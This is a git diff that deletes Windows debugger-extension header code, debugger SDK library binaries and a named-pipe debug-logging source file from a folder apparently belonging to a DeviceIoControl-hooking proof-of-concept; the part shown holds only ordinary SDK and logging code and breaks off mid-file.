- Ioctl( IG_WRITE_IO_SPACE, (PVOID)&is, sizeof(is) );
- *size = is.Length;
-}
-
-__inline VOID
-WriteIoSpace32(
- ULONG address,
- ULONG data,
- PULONG size
- )
-{
- IOSPACE32 is;
- is.Address = address;
- is.Length = *size;
- is.Data = data;
- Ioctl( IG_WRITE_IO_SPACE, (PVOID)&is, sizeof(is) );
- *size = is.Length;
-}
-
-__inline VOID
-WriteIoSpace64(
- ULONG64 address,
- ULONG data,
- PULONG size
- )
-{
- IOSPACE64 is;
- is.Address = address;
- is.Length = *size;
- is.Data = data;
- Ioctl( IG_WRITE_IO_SPACE, (PVOID)&is, sizeof(is) );
- *size = is.Length;
-}
-
-__inline VOID
-ReadIoSpaceEx(
- ULONG address,
- PULONG data,
- PULONG size,
- ULONG interfacetype,
- ULONG busnumber,
- ULONG addressspace
- )
-{
- IOSPACE_EX is;
- is.Address = (ULONG)address;
- is.Length = *size;
- is.Data = 0;
- is.InterfaceType = interfacetype;
- is.BusNumber = busnumber;
- is.AddressSpace = addressspace;
- Ioctl( IG_READ_IO_SPACE_EX, (PVOID)&is, sizeof(is) );
- *data = is.Data;
- *size = is.Length;
-}
-
-__inline VOID
-ReadIoSpaceEx32(
- ULONG address,
- PULONG data,
- PULONG size,
- ULONG interfacetype,
- ULONG busnumber,
- ULONG addressspace
- )
-{
- IOSPACE_EX32 is;
- is.Address = address;
- is.Length = *size;
- is.Data = 0;
- is.InterfaceType = interfacetype;
- is.BusNumber = busnumber;
- is.AddressSpace = addressspace;
- Ioctl( IG_READ_IO_SPACE_EX, (PVOID)&is, sizeof(is) );
- *data = is.Data;
- *size = is.Length;
-}
-
-__inline VOID
-ReadIoSpaceEx64(
- ULONG64 address,
- PULONG data,
- PULONG size,
- ULONG interfacetype,
- ULONG busnumber,
- ULONG addressspace
- )
-{
- IOSPACE_EX64 is;
- is.Address = address;
- is.Length = *size;
- is.Data = 0;
- is.InterfaceType = interfacetype;
- is.BusNumber = busnumber;
- is.AddressSpace = addressspace;
- Ioctl( IG_READ_IO_SPACE_EX, (PVOID)&is, sizeof(is) );
- *data = is.Data;
- *size = is.Length;
-}
-
-__inline VOID
-WriteIoSpaceEx(
- ULONG address,
- ULONG data,
- PULONG size,
- ULONG interfacetype,
- ULONG busnumber,
- ULONG addressspace
- )
-{
- IOSPACE_EX is;
- is.Address = (ULONG)address;
- is.Length = *size;
- is.Data = data;
- is.InterfaceType = interfacetype;
- is.BusNumber = busnumber;
- is.AddressSpace = addressspace;
- Ioctl( IG_WRITE_IO_SPACE_EX, (PVOID)&is, sizeof(is) );
- *size = is.Length;
-}
-
-__inline VOID
-WriteIoSpaceEx32(
- ULONG address,
- ULONG data,
- PULONG size,
- ULONG interfacetype,
- ULONG busnumber,
- ULONG addressspace
- )
-{
- IOSPACE_EX32 is;
- is.Address = address;
- is.Length = *size;
- is.Data = data;
- is.InterfaceType = interfacetype;
- is.BusNumber = busnumber;
- is.AddressSpace = addressspace;
- Ioctl( IG_WRITE_IO_SPACE_EX, (PVOID)&is, sizeof(is) );
- *size = is.Length;
-}
-
-__inline VOID
-WriteIoSpaceEx64(
- ULONG64 address,
- ULONG data,
- PULONG size,
- ULONG interfacetype,
- ULONG busnumber,
- ULONG addressspace
- )
-{
- IOSPACE_EX64 is;
- is.Address = address;
- is.Length = *size;
- is.Data = data;
- is.InterfaceType = interfacetype;
- is.BusNumber = busnumber;
- is.AddressSpace = addressspace;
- Ioctl( IG_WRITE_IO_SPACE_EX, (PVOID)&is, sizeof(is) );
- *size = is.Length;
-}
-
-__inline VOID
-ReloadSymbols(
- IN PSTR Arg OPTIONAL
- )
-/*++
-
-Routine Description:
-
- Calls the debugger to reload symbols.
-
-Arguments:
-
- Args - Supplies the tail of a !reload command string.
-
- !reload [flags] [module[=address]]
- flags: /n do not load from usermode list
- /u unload symbols, no reload
- /v verbose
-
- A value of NULL is equivalent to an empty string
-
-Return Value:
-
- None
-
---*/
-{
- Ioctl(IG_RELOAD_SYMBOLS, (PVOID)Arg, Arg?((ULONG)strlen(Arg)+1):0);
-}
-
-__inline VOID
-GetSetSympath(
- IN PSTR Arg,
- OUT PSTR Result OPTIONAL,
- IN int Length
- )
-/*++
-
-Routine Description:
-
- Calls the debugger to set or retrieve symbol search path.
-
-Arguments:
-
- Arg - Supplies new search path. If Arg is NULL or string is empty,
- the search path is not changed and the current setting is
- returned in Result. When the symbol search path is changed,
- a call to ReloadSymbols is made implicitly.
-
- Result - OPTIONAL Returns the symbol search path setting.
-
- Length - Supplies the size of the buffer supplied by Result.
-
-Return Value:
-
- None
-
---*/
-{
- GET_SET_SYMPATH gss;
- gss.Args = Arg;
- gss.Result = Result;
- gss.Length = Length;
- Ioctl(IG_GET_SET_SYMPATH, (PVOID)&gss, sizeof(gss));
-}
-
-#if defined(KDEXT_64BIT)
-
-__inline
-ULONG
-IsPtr64(
- void
- )
-{
- ULONG flag;
- ULONG dw;
-
- if (Ioctl(IG_IS_PTR64, &dw, sizeof(dw))) {
- flag = ((dw != 0) ? 1 : 0);
- } else {
- flag = 0;
- }
- return flag;
-}
-
-__inline
-ULONG
-ReadListEntry(
- ULONG64 Address,
- PLIST_ENTRY64 List
- )
-{
- ULONG cb;
- if (IsPtr64()) {
- return (ReadMemory(Address, (PVOID)List, sizeof(*List), &cb) &&
- cb == sizeof(*List));
- } else {
- LIST_ENTRY32 List32;
- ULONG Status;
- Status = ReadMemory(Address,
- (PVOID)&List32,
- sizeof(List32),
- &cb);
- if (Status && cb == sizeof(List32)) {
- List->Flink = (ULONG64)(LONG64)(LONG)List32.Flink;
- List->Blink = (ULONG64)(LONG64)(LONG)List32.Blink;
- return 1;
- }
- return 0;
- }
-}
-
-__inline
-ULONG
-ReadPointer(
- ULONG64 Address,
- PULONG64 Pointer
- )
-{
- ULONG cb;
- if (IsPtr64()) {
- return (ReadMemory(Address, (PVOID)Pointer, sizeof(*Pointer), &cb) &&
- cb == sizeof(*Pointer));
- } else {
- ULONG Pointer32;
- ULONG Status;
- Status = ReadMemory(Address,
- (PVOID)&Pointer32,
- sizeof(Pointer32),
- &cb);
- if (Status && cb == sizeof(Pointer32)) {
- *Pointer = (ULONG64)(LONG64)(LONG)Pointer32;
- return 1;
- }
- return 0;
- }
-}
-
-__inline
-ULONG
-WritePointer(
- ULONG64 Address,
- ULONG64 Pointer
- )
-{
- ULONG cb;
- if (IsPtr64()) {
- return (WriteMemory(Address, &Pointer, sizeof(Pointer), &cb) &&
- cb == sizeof(Pointer));
- } else {
- ULONG Pointer32 = (ULONG)Pointer;
- ULONG Status;
- Status = WriteMemory(Address,
- &Pointer32,
- sizeof(Pointer32),
- &cb);
- return (Status && cb == sizeof(Pointer32)) ? 1 : 0;
- }
-}
-
-/**
- This does Ioctl call for type info and returns size of the type on success.
-
- **/
-__inline
-ULONG
-GetTypeSize (
- IN LPCSTR Type
- )
-{
- SYM_DUMP_PARAM Sym = {
- sizeof (SYM_DUMP_PARAM), (PUCHAR)Type, DBG_DUMP_NO_PRINT | DBG_DUMP_GET_SIZE_ONLY, 0,
- NULL, NULL, NULL, 0, NULL
- };
-
- return Ioctl( IG_GET_TYPE_SIZE, &Sym, Sym.size );
-}
-
-/**
- GetFieldData
-
- Copies the value of the specified field into pOutValue assuming TypeAddress
- points to start of the type in debugee.
-
- If the Field is NULL and the size of Type is <= 8 Whole type value is read into
- pOutValue. This is to allow to read in primitive types suchas ULONG, PVOID etc.
-
- If address is zero this considers Type a global variable.
-
- It raises an exception if OutSize is less than size to be copied.
-
- Returns 0 on success, errorvalue (defined with SYM_DUMP_PARAM) otherwise.
-
- **/
-__inline
-ULONG
-GetFieldData (
- IN ULONG64 TypeAddress,
- IN LPCSTR Type,
- IN LPCSTR Field,
- IN ULONG OutSize,
- OUT PVOID pOutValue
- )
-{
- FIELD_INFO flds = {(PUCHAR)Field, NULL, 0, DBG_DUMP_FIELD_FULL_NAME | DBG_DUMP_FIELD_COPY_FIELD_DATA | DBG_DUMP_FIELD_RETURN_ADDRESS, 0, pOutValue};
- SYM_DUMP_PARAM Sym = {
- sizeof (SYM_DUMP_PARAM), (PUCHAR)Type, DBG_DUMP_NO_PRINT, TypeAddress,
- NULL, NULL, NULL, 1, &flds
- };
- ULONG RetVal;
-
- if (!Field) {
- Sym.nFields =0; Sym.Options |= DBG_DUMP_COPY_TYPE_DATA;
- Sym.Context = pOutValue;
- }
-
- ZeroMemory(pOutValue, OutSize);
- RetVal = Ioctl( IG_DUMP_SYMBOL_INFO, &Sym, Sym.size );
-
- if (OutSize < ((Field == NULL) ? 8 : flds.size)) {
- // Fail
- dprintf("Not enough space to read %s-%s\n", Type, Field);
- RaiseException((DWORD)EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL);
- return 0;
- }
- return RetVal;
-}
-
-//
-// Typecast the buffer where value is to be read
-//
-#define GetFieldValue(Addr, Type, Field, OutValue) \
- GetFieldData(Addr, Type, Field, sizeof(OutValue), (PVOID) &(OutValue))
-
-//
-// Used to read in value of a short (<= 8 bytes) fields
-//
-__inline
-ULONG64
-GetShortField (
- IN ULONG64 TypeAddress,
- IN LPCSTR Name,
- IN USHORT StoreAddress
- )
-{
- static ULONG64 SavedAddress;
- static PUCHAR SavedName;
- static ULONG ReadPhysical;
- FIELD_INFO flds = {(PUCHAR) Name, NULL, 0, DBG_DUMP_FIELD_FULL_NAME, 0, NULL};
- SYM_DUMP_PARAM Sym = {
- sizeof (SYM_DUMP_PARAM), SavedName, DBG_DUMP_NO_PRINT | ((StoreAddress & 2) ? DBG_DUMP_READ_PHYSICAL : 0),
- SavedAddress, NULL, NULL, NULL, 1, &flds
- };
-
-
- if (StoreAddress) {
- Sym.sName = (PUCHAR) Name;
- Sym.nFields = 0;
- SavedName = (PUCHAR) Name;
- Sym.addr = SavedAddress = TypeAddress;
- ReadPhysical = (StoreAddress & 2);
- return SavedAddress ? Ioctl( IG_DUMP_SYMBOL_INFO, &Sym, Sym.size ) : MEMORY_READ_ERROR; // zero on success
- } else {
- Sym.Options |= ReadPhysical ? DBG_DUMP_READ_PHYSICAL : 0;
- }
-
- if (!Ioctl( IG_DUMP_SYMBOL_INFO, &Sym, Sym.size )) {
- return flds.address;
- }
- return 0;
-}
-
-//
-// Stores the address and type name for future reads
-//
-#define InitTypeRead(Addr, Type) GetShortField(Addr, #Type, 1)
-#define InitTypeStrRead(Addr, TypeStr) GetShortField(Addr, TypeStr, 1)
-
-//
-// Stores the address and type name for future reads
-//
-#define InitTypeReadPhysical(Addr, Type) GetShortField(Addr, #Type, 3)
-#define InitTypeStrReadPhysical(Addr, TypeStr) GetShortField(Addr, TypeStr, 3)
-
-//
-// Returns the field's value as ULONG64 if size of field is <= sizeof (ULONG64)
-//
-#define ReadField(Field) GetShortField(0, #Field, 0)
-#define ReadFieldStr(FieldStr) GetShortField(0, FieldStr, 0)
-
-//
-// Read in a pointer value
-//
-__inline
-ULONG
-ReadPtr(
- ULONG64 Addr,
- PULONG64 pPointer
- )
-{
- return !ReadPointer(Addr, pPointer);
-}
-
-/*
- * ListType
- *
- * Routine ListType gives a callback on each element in the list of Type.
- *
- * Type : Name of the type to be listed
- *
- * NextPointer : Name of field which gives address of next element in list
- *
- * Context, CallbackRoutine :
- * Context and the callback routine. The address field in PFIELD_INFO
- * parameter of callback contains the address of next Type element in list.
- *
- * Address, ListByFieldAddress :
- * if ListByFieldAddress is 0, Adress is the address of first element of Type List.
- *
- * Lists by LIST_ENTRY are also handled implicitly (by Ioctl). If the NextPointer
- * is a pointer to LIST_ENTRY type, the type address is properly calculated by
- * subtracting the offsets.
- *
- * If ListByFieldAddress is 1, the Address is considered to be the address of field
- * "NextPointer" of the first Type element and first element address is derived
- * from it.
- *
- */
-
-__inline
-ULONG
-ListType (
- IN LPCSTR Type,
- IN ULONG64 Address,
- IN USHORT ListByFieldAddress,
- IN LPCSTR NextPointer,
- IN PVOID Context,
- IN PSYM_DUMP_FIELD_CALLBACK CallbackRoutine
- )
-{
- FIELD_INFO flds = {(PUCHAR)NextPointer, NULL, 0, 0, 0, NULL};
- SYM_DUMP_PARAM Sym = {
- sizeof (SYM_DUMP_PARAM), (PUCHAR) Type, DBG_DUMP_NO_PRINT | DBG_DUMP_LIST, Address,
- &flds, Context, CallbackRoutine, 0, NULL
- };
-
- if (ListByFieldAddress==1) {
- //
- // Address is the address of "NextPointer"
- //
- Sym.Options |= DBG_DUMP_ADDRESS_OF_FIELD;
- }
-
- return Ioctl( IG_DUMP_SYMBOL_INFO, &Sym, Sym.size );
-}
-
-
-/**
-
- Routine to get offset of a "Field" of "Type" on a debugee machine. This uses
- Ioctl call for type info.
- Returns 0 on success, Ioctl error value otherwise.
-
- **/
-
-__inline
-ULONG
-GetFieldOffset (
- IN LPCSTR Type,
- IN LPCSTR Field,
- OUT PULONG pOffset
- )
-{
- FIELD_INFO flds = {
- (PUCHAR)Field,
- (PUCHAR)"",
- 0,
- DBG_DUMP_FIELD_FULL_NAME | DBG_DUMP_FIELD_RETURN_ADDRESS,
- 0,
- NULL};
-
- SYM_DUMP_PARAM Sym = {
- sizeof (SYM_DUMP_PARAM),
- (PUCHAR)Type,
- DBG_DUMP_NO_PRINT,
- 0,
- NULL,
- NULL,
- NULL,
- 1,
- &flds
- };
-
- ULONG Err;
-
- Sym.nFields = 1;
- Err = Ioctl( IG_DUMP_SYMBOL_INFO, &Sym, Sym.size );
- *pOffset = (ULONG) flds.FieldOffset;
- return Err;
-}
-
-
-#endif // defined(KDEXT_64BIT)
-
-__inline VOID
- GetCurrentProcessHandle(
- PHANDLE hp
- )
-{
- Ioctl(IG_GET_CURRENT_PROCESS_HANDLE, hp, sizeof(HANDLE));
-}
-
-__inline VOID
- GetTebAddress(
- PULONGLONG Address
- )
-{
- GET_TEB_ADDRESS gpt;
- gpt.Address = 0;
- Ioctl(IG_GET_TEB_ADDRESS, (PVOID)&gpt, sizeof(gpt));
- *Address = gpt.Address;
-}
-
-__inline VOID
- GetPebAddress(
- ULONG64 CurrentThread,
- PULONGLONG Address
- )
-{
- GET_PEB_ADDRESS gpt;
- gpt.CurrentThread = CurrentThread;
- gpt.Address = 0;
- Ioctl(IG_GET_PEB_ADDRESS, (PVOID)&gpt, sizeof(gpt));
- *Address = gpt.Address;
-}
-
-__inline VOID
- GetCurrentThreadAddr(
- DWORD Processor,
- PULONG64 Address
- )
-{
- GET_CURRENT_THREAD_ADDRESS ct;
- ct.Processor = Processor;
- Ioctl(IG_GET_CURRENT_THREAD, (PVOID)&ct, sizeof(ct));
- *Address = ct.Address;
-}
-
-__inline VOID
- GetCurrentProcessAddr(
- DWORD Processor,
- ULONG64 CurrentThread,
- PULONG64 Address
- )
-{
- GET_CURRENT_PROCESS_ADDRESS cp;
- cp.Processor = Processor;
- cp.CurrentThread = CurrentThread;
- Ioctl(IG_GET_CURRENT_PROCESS, (PVOID)&cp, sizeof(cp));
- *Address = cp.Address;
-}
-
-__inline VOID
-SearchMemory(
- ULONG64 SearchAddress,
- ULONG64 SearchLength,
- ULONG PatternLength,
- PVOID Pattern,
- PULONG64 FoundAddress
- )
-{
- SEARCHMEMORY sm;
- sm.SearchAddress = SearchAddress;
- sm.SearchLength = SearchLength;
- sm.FoundAddress = 0;
- sm.PatternLength = PatternLength;
- sm.Pattern = Pattern;
- Ioctl(IG_SEARCH_MEMORY, (PVOID)&sm, sizeof(sm));
- *FoundAddress = sm.FoundAddress;
-}
-
-__inline ULONG
-GetInputLine(
- PCSTR Prompt,
- PSTR Buffer,
- ULONG BufferSize
- )
-{
- GET_INPUT_LINE InLine;
- InLine.Prompt = Prompt;
- InLine.Buffer = Buffer;
- InLine.BufferSize = BufferSize;
- if (Ioctl(IG_GET_INPUT_LINE, (PVOID)&InLine, sizeof(InLine)))
- {
- return InLine.InputSize;
- }
- else
- {
- return 0;
- }
-}
-
-__inline BOOL
-GetExpressionEx(
- PCSTR Expression,
- ULONG64* Value,
- PCSTR* Remainder
- )
-{
- GET_EXPRESSION_EX Expr;
- Expr.Expression = Expression;
- if (Ioctl(IG_GET_EXPRESSION_EX, (PVOID)&Expr, sizeof(Expr)))
- {
- *Value = Expr.Value;
-
- if (Remainder != NULL)
- {
- *Remainder = Expr.Remainder;
- }
-
- return TRUE;
- }
-
- return FALSE;
-}
-
-__inline BOOL
-TranslateVirtualToPhysical(
- ULONG64 Virtual,
- ULONG64* Physical
- )
-{
- TRANSLATE_VIRTUAL_TO_PHYSICAL VToP;
- VToP.Virtual = Virtual;
- if (Ioctl(IG_TRANSLATE_VIRTUAL_TO_PHYSICAL, (PVOID)&VToP, sizeof(VToP)))
- {
- *Physical = VToP.Physical;
- return TRUE;
- }
-
- return FALSE;
-}
-
-__inline BOOL
-GetDebuggerCacheSize(
- OUT PULONG64 CacheSize
- )
-{
- return Ioctl(IG_GET_CACHE_SIZE, (PVOID) CacheSize, sizeof(ULONG64));
-}
-
-__inline BOOL
-ExtMatchPatternA(
- IN PCSTR Str,
- IN PCSTR Pattern,
- IN BOOL CaseSensitive
- )
-{
- EXT_MATCH_PATTERN_A Args;
-
- Args.Str = Str;
- Args.Pattern = Pattern;
- Args.CaseSensitive = CaseSensitive;
- return Ioctl(IG_MATCH_PATTERN_A, (PVOID)&Args, sizeof(Args));
-}
-
-#endif
-
-#pragma warning(default:4115 4201 4204 4214 4221)
-#if _MSC_VER >= 1200
-#pragma warning(pop)
-#endif
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif // _WDBGEXTS_
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/amd64/dbgeng.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/amd64/dbgeng.lib
deleted file mode 100644
index beacc995..00000000
Binary files a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/amd64/dbgeng.lib and /dev/null differ
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/amd64/dbghelp.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/amd64/dbghelp.lib
deleted file mode 100644
index a7624390..00000000
Binary files a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/amd64/dbghelp.lib and /dev/null differ
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/amd64/engextcpp.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/amd64/engextcpp.lib
deleted file mode 100644
index 1fd341d3..00000000
Binary files a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/amd64/engextcpp.lib and /dev/null differ
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/i386/dbgeng.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/i386/dbgeng.lib
deleted file mode 100644
index 7b027dc1..00000000
Binary files a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/i386/dbgeng.lib and /dev/null differ
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/i386/dbghelp.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/i386/dbghelp.lib
deleted file mode 100644
index f783aca9..00000000
Binary files a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/i386/dbghelp.lib and /dev/null differ
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/i386/engextcpp.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/i386/engextcpp.lib
deleted file mode 100644
index e597ed3a..00000000
Binary files a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/i386/engextcpp.lib and /dev/null differ
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/ia64/dbgeng.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/ia64/dbgeng.lib
deleted file mode 100644
index 698d122a..00000000
Binary files a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/ia64/dbgeng.lib and /dev/null differ
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/ia64/dbghelp.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/ia64/dbghelp.lib
deleted file mode 100644
index 5334873c..00000000
Binary files a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/ia64/dbghelp.lib and /dev/null differ
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/ia64/engextcpp.lib b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/ia64/engextcpp.lib
deleted file mode 100644
index ed5ac846..00000000
Binary files a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/lib/ia64/engextcpp.lib and /dev/null differ
diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/debug.cpp b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/debug.cpp
deleted file mode 100644
index e1b33f72..00000000
--- a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/debug.cpp
+++ /dev/null
@@ -1,302 +0,0 @@
-#include "stdafx.h"
-
-#define DBG_PIPE_BUFFER_SIZE 0x1000
-
-WCHAR m_wcDebugPipeName[MAX_PATH];
-HANDLE hDbgMutex = NULL, hDbgLogfile = INVALID_HANDLE_VALUE;
-//--------------------------------------------------------------------------------------
-void DbgMsgLogWrite(char *lpszBuff)
-{
- if (hDbgLogfile != INVALID_HANDLE_VALUE && hDbgMutex)
- {
- DWORD dwWritten = 0;
- char *s = lpszBuff;
- size_t len = strlen(lpszBuff);
-
- WaitForSingleObject(hDbgMutex, INFINITE);
- SetFilePointer(hDbgLogfile, 0, NULL, FILE_END);
-
- for (size_t i = 1; i < len; i++)
- {
- // divide source string by lines
- if (lpszBuff[i] == '\n')
- {
- lpszBuff[i] = '\x00';
-
- // write the current line
- WriteFile(hDbgLogfile, s, (DWORD)strlen(s), &dwWritten, NULL);
-
- if (lpszBuff[i - 1] != '\r')
- {
- // replace single '\n' with '\r\n'
- WriteFile(hDbgLogfile, "\r\n", 2, &dwWritten, NULL);
- }
- else
- {
- WriteFile(hDbgLogfile, "\n", 1, &dwWritten, NULL);
- }
-
- s = lpszBuff + i + 1;
- }
- }
-
- if (lpszBuff + len > s)
- {
- // write the rest of the string
- WriteFile(hDbgLogfile, s, (DWORD)strlen(s), &dwWritten, NULL);
- }
-
- ReleaseMutex(hDbgMutex);
- }
-}
-//--------------------------------------------------------------------------------------
-void DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...)
-{
- va_list mylist;
- va_start(mylist, lpszMsg);
-
- size_t len = _vscprintf(lpszMsg, mylist) + 0x100;
-
- char *lpszBuff = (char *)M_ALLOC(len);
- if (lpszBuff == NULL)
- {
- va_end(mylist);
- return;
- }
-
- char *lpszOutBuff = (char *)M_ALLOC(len);
- if (lpszOutBuff == NULL)
- {
- M_FREE(lpszBuff);
- va_end(mylist);
- return;
- }
-
- vsprintf_s(lpszBuff, len, lpszMsg, mylist);
- va_end(mylist);
-
- sprintf_s(
- lpszOutBuff, len, "[%.5d] %s(%d) : %s",
- GetCurrentProcessId(), GetNameFromFullPath(lpszFile), Line, lpszBuff
- );
-
- OutputDebugString(lpszOutBuff);
-
- HANDLE hStd = GetStdHandle(STD_OUTPUT_HANDLE);
- if (hStd != INVALID_HANDLE_VALUE)
- {
- DWORD dwWritten = 0;
- WriteFile(hStd, lpszBuff, strlen(lpszBuff), &dwWritten, NULL);
- }
-
- sprintf_s(lpszOutBuff, len, "[%.5d] %s", GetCurrentProcessId(), lpszBuff);
- DbgMsgLogWrite(lpszOutBuff);
-
- M_FREE(lpszOutBuff);
- M_FREE(lpszBuff);
-}
-//--------------------------------------------------------------------------------------
-DWORD WINAPI PipeInstanceThread(LPVOID lpParam)
-{
- HANDLE hPipe = (HANDLE)lpParam;
- DWORD dwReaded, dwWritten, dwLen = 0;
-
- // read data length from pipe
- while (ReadFile(hPipe, (PVOID)&dwLen, sizeof(dwLen), &dwReaded, NULL))
- {
- if (dwLen > 0)
- {
- // allocate memory for data
- PUCHAR Data = (PUCHAR)M_ALLOC(dwLen);
- if (Data)
- {
- PUCHAR DataPtr = Data;
- DWORD dwTotalReaded = 0, dwReadLen = dwLen;
-read_again:
- if (ReadFile(hPipe, DataPtr, dwReadLen, &dwReaded, NULL))
- {
- dwTotalReaded += dwReaded;
- if (dwLen > dwTotalReaded)
- {
- DataPtr += dwReaded;
- dwReadLen -= dwReaded;
-
- // not all data was readed
- goto read_again;
- }
-
- // write message into the standart output
- HANDLE hStd = GetStdHandle(STD_OUTPUT_HANDLE);
- if (hStd != INVALID_HANDLE_VALUE)
- {
- char *s = strstr((char *)Data, " : ");
- if (s)
- {
- s += 3;
- WriteFile(hStd, s, lstrlen(s), &dwWritten, NULL);
- }
- else
- {
- WriteFile(hStd, Data, lstrlen((char *)Data), &dwWritten, NULL);
- }
- }
-
- // write message into the log
- DbgMsgLogWrite((char *)Data);
- }
-
- M_FREE(Data);
- }
- else
- {
- DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n", GetLastError());
- }
- }
-
- dwLen = 0;
- }
-
- return 0;
-}
-//--------------------------------------------------------------------------------------
-DWORD WINAPI PipeServerThread(LPVOID lpParam)
-{
- DbgMsg(__FILE__, __LINE__, __FUNCTION__"(): Listening on pipe '%ws'\n", m_wcDebugPipeName);
-
- while (true)
- {
- // create pipe instance
- HANDLE hPipe = CreateNamedPipeW(
- m_wcDebugPipeName,
- PIPE_ACCESS_DUPLEX,
- PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
- PIPE_UNLIMITED_INSTANCES,
- DBG_PIPE_BUFFER_SIZE,
- DBG_PIPE_BUFFER_SIZE,
- INFINITE,
- NULL
- );
- if (hPipe == INVALID_HANDLE_VALUE)
- {
- DbgMsg(__FILE__, __LINE__, "CreateNamedPipe() ERROR %d\n", GetLastError());
- return 0;
- }
-
- BOOL bConnected = ConnectNamedPipe(hPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED);
- if (bConnected)
- {
- // Create a thread for this client.
- HANDLE hThread = CreateThread(NULL, 0, PipeInstanceThread, (LPVOID)hPipe, 0, NULL);
- if (hThread == NULL)
- {
- DbgMsg(__FILE__, __LINE__, "CreateThread() ERROR %d\n", GetLastError());
- return 0;
- }
- else
- {
- CloseHandle(hThread);
- }
- }
- else
- {
- // The client could not connect, so close the pipe.
- CloseHandle(hPipe);
- }
- }
-}
-//--------------------------------------------------------------------------------------
-void DbgInit(char *lpszDebugPipeName, char *lpszLogFileName)
-{
- hDbgMutex = CreateMutex(NULL, FALSE, NULL);
- if (hDbgMutex == NULL)
- {
- DbgMsg(__FILE__, __LINE__, "CreateMutex() ERROR %d\n", GetLastError());
- return;
- }
-
- if (lpszLogFileName)
- {
- // use logfile for debug messages
- char szLogFilePath[MAX_PATH];
- GetCurrentDirectory(sizeof(szLogFilePath), szLogFilePath);
- strcat_s(szLogFilePath, MAX_PATH, "\\");
- strcat_s(szLogFilePath, MAX_PATH, lpszLogFileName);
-
- hDbgLogfile = CreateFile(
- szLogFilePath,
- GENERIC_WRITE,
- FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
